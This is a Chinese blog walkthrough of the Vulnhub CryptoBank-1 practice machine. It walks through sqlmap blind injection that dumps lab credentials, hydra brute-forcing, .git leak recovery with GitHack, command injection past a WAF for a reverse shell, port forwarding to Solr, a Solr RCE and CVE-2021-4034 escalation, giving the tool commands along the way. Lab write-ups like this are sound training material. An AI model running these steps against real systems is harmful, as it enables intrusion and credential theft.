Vulnhub CryptoBank-1 Walkthrough


Vulnhub CryptoBank-1 Walkthrough

前言

这个靶机吧,逻辑不是很复杂,但是这个流程是真的复杂,一步步套娃,一步步深入,算了,不多说了,直接开干吧。干之前先说一下这个文章的布局结构,文章将要分为以下的几个方面展开:

下面可能会有几个英文单词,你知道的,有的安全类的词语翻译成中文确实非常的,,,诡异。还是英文原意比较顺口。

  • Network Scanning
    • Arp-scan
    • Nmap
  • Enumeration
    • 浏览网站
    • 制作用户名字典
  • Exploitation
    • 时间盲注
    • 枚举数据表
    • 使用 gobuster 目录穷举
    • Hydra 爆破
    • 使用 gobuster 目录穷举
    • 枚举 Git
    • 反弹 shell
    • 利用命令注入
  • Post Exploitation
    • 使用 netstat 查看服务详细信息
    • 使用 portfwd 转发端口
    • 寻找 Solr 版本漏洞
  • Privilege Escalation
    • 利用 Solr RCE 漏洞
    • 使用 Sudo 权限提升权限
  • Reading Root Flag

Network Scanning

IP Collection

在开始攻击一台机器之前,首先要做的就是找到这个机器的 IP 地址,通过使用工具的扫描,最终确定了目标靶机的 IP 地址是 10.0.0.45

Nmap

在收集到主机的地址之后下一件事情就是进行端口扫描,详细的扫描目标主机开放的端口以及运行的服务。

nmap -A -T4 10.0.0.45 -p-

虽然这个 openssh 的版本是 7.6p1 但是上面已经没有了用户名枚举漏洞了。

Enumeration

浏览网站 & 生成字典

扫描完端口之后并没有发现什么敏感的端口,只有很常规的端口。所以接下来查看一下网站端有没有什么有价值的信息。在网页的右上角有一个登陆按钮,轻轻地将鼠标放上去,发现是链接到 cryptobank.local ,所以尝试将其加入到 hosts 文件中,继续向下浏览的过程中发现员工的 email 的按钮上有一个关键词,使他们自己的名字,怀疑是用户名,加入到字典中。

username hosts

Exploitation

时间盲注

点击登录按钮之后出现了一个登录界面,测试这个位置是否存在 SQL注入 ,简单尝试了一下报错注入,联合查询等,最后怀疑是盲注,所以实用工具尝试一下。

sqlmap -r post

发现是存在注入点的,那么就好办了,直接使用 sqlmap 对其进行时间盲注。

枚举数据表

sqlmap -r post --dbs
-------------------------
available databases [5]:
[*] cryptobank
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

现在已经获得了想要的数据库的列表,则选中 cryptobank 数据库继续进行数据表的注入。

sqlmap -r post -D cryptobank --tables
-------------------------------------
Database: cryptobank
[3 tables]
+----------+
| accounts |
| comments |
| loans    |
+----------+

好了,一个有三个表,然后敏感数据显然是存在于 accounts 数据表中了。


时间盲注非常慢!!!!


sqlmap -r post -D cryptobank -T accounts -C username,password --dump
--------------------------------------------------
Database: cryptobank
Table: accounts
[12 entries]
+--------------------+------------+
| username           | password   |
+--------------------+------------+
| spongebob          | 3mwZd896Me |
| bill.w             | 3Nrc2FYJMe |
| deadbeef           | 6X7DnLF5pG |
| dreadpirateroberts | 7HwAEChFP9 |
| notanirsagent      | 8hPx2Zqn4b |
| williamdelisle     | gFG7pqE5cn |
| buzzlightyear      | LnBHvEhmw3 |
| mrbitcoin          | LxZjkK87nu |
| johndl33t          | NqRF4W85yf |
| juliusthedeveloper | wJWm4CgV26 |
| patric             | x8CRvHqgPp |
| tim                | zm2gBcaxd3 |
+--------------------+------------+

也将其用户名加入到字典中,密码单独做一个字典。(顺便说一下,使用这些账号登陆过网站了,并没有什么有用的信息,这里完全就是个烟雾弹)。

使用 gobuster 目录穷举

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://cryptobank.local

疑似后台界面,以 development 命令,大概率是后台调试界面。

Hydra 爆破

尝试访问,发现需要输入用户名和密码,则使用 hydra 爆破。这里本来想使用 BP 爆破来着,可惜抓不到包,只用用它了。

┌──(justice㉿localhost)-[~]
└─$ hydra -L username -P password cryptobank.local -f http-get /development

使用 gobuster 目录穷举

登陆 development 之后,发现什么都没有,源代码中也没有任何的东西,所以这里无奈只能选择继续目录扫描了,继续干。

┌──(justice㉿localhost)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://cryptobank.local/development -U julius.b -P wJWm4CgV26

枚举 Git

就先从 backup 开始吧,因为这个目录可能是有一些什么配置文件的备份或者是密码文件什么的,还是从这里后开始吧。访问一下。

看见了吧,我就说了,这东西就是套娃,想法设法的搞这么多东西,没想到又回来了,裂开。。。。。。。。。。。。。。。那也没什么办法,又细细的探索了一下这个界面有什么信息没有,对,你猜对了,就是没有。还是继续扫描吧。

dirb -u http://cryptobank.local/development/backups/home/

扫描到了 .git 目录,这就意味了,这个程序是使用 git 管理的,所以说为了进一步的查看里面的敏感信息我们需要用到一个工具,叫做 githack ,从网上下下来之后直接运行就可以。

┌──(justice㉿localhost)-[~]
└─$ git clone https://github.com/lijiejie/GitHack.git                   
Cloning into 'GitHack'...
remote: Enumerating objects: 56, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 56 (delta 6), reused 18 (delta 6), pack-reused 34
Receiving objects: 100% (56/56), 17.10 KiB | 246.00 KiB/s, done.
Resolving deltas: 100% (14/14), done.

This is important

All users please git pull to update source code. (2022-05-09)

GitHack is a .git folder disclosure exploit.

It rebuild source code from .git folder while keep directory structure unchanged.

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

python GitHack.py http://cryptobank.local/development/backups/home/.git/

过一会可以在当前目录下看见整个网站的目录结构了,这是一种非常有效的分析 cms 源码寻找后门的方法。

反弹 shell

浏览一下网站的目录结构,在 development/tools 目录下发现了一个 CommandExecution 的东西,这不正是刚刚上面目录扫描的时候扫到的 tools 目录嘛。细细的看一下这个叫做命令执行的文件。

懂得都懂,这我就不多说了,按照正常的思路来说,这就已经看见有命令执行的语句了,所以说现在第一件事就是去网站上访问一下 tools/commandexecution 这个东西,看看能不能执行一些命令。

username 就是要执行的命令,password 就是密码。

下面就开始重头戏了。没想到这个竟然有个小小的 WAF

那就只能曲线救国了。先在目标机器上下载一个脚本,然后执行它。

成功得到了第一个 flag 虽然没什么用。

Post Exploitation

使用 netstat 查看服务详细信息

这个 8983 端口一看就不正常,但是他并没有提供防卫,很显然这是一个 docker 容器。

使用 portfwd 转发端口

这个地方相的是将端口转发出去,这里还是利用 msfconsole 比较合适,不然的话还要配置 iptables 实在是太复杂了。

portfwd add -l 8983 -p 8983 -r 172.17.0.1

寻找 Solr 版本漏洞

Privilege Escalation

利用 Solr RCE 漏洞

设置好相关参数之后就可以连上了,轻轻松松十分愉快。

使用 Sudo 权限提升权限

Reading Root Flag

另一种提权方式,很显然,这个是存在 CVE-2021-4034 漏洞的,这是经过脚本测试出来的,所以直接利用即可提权。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录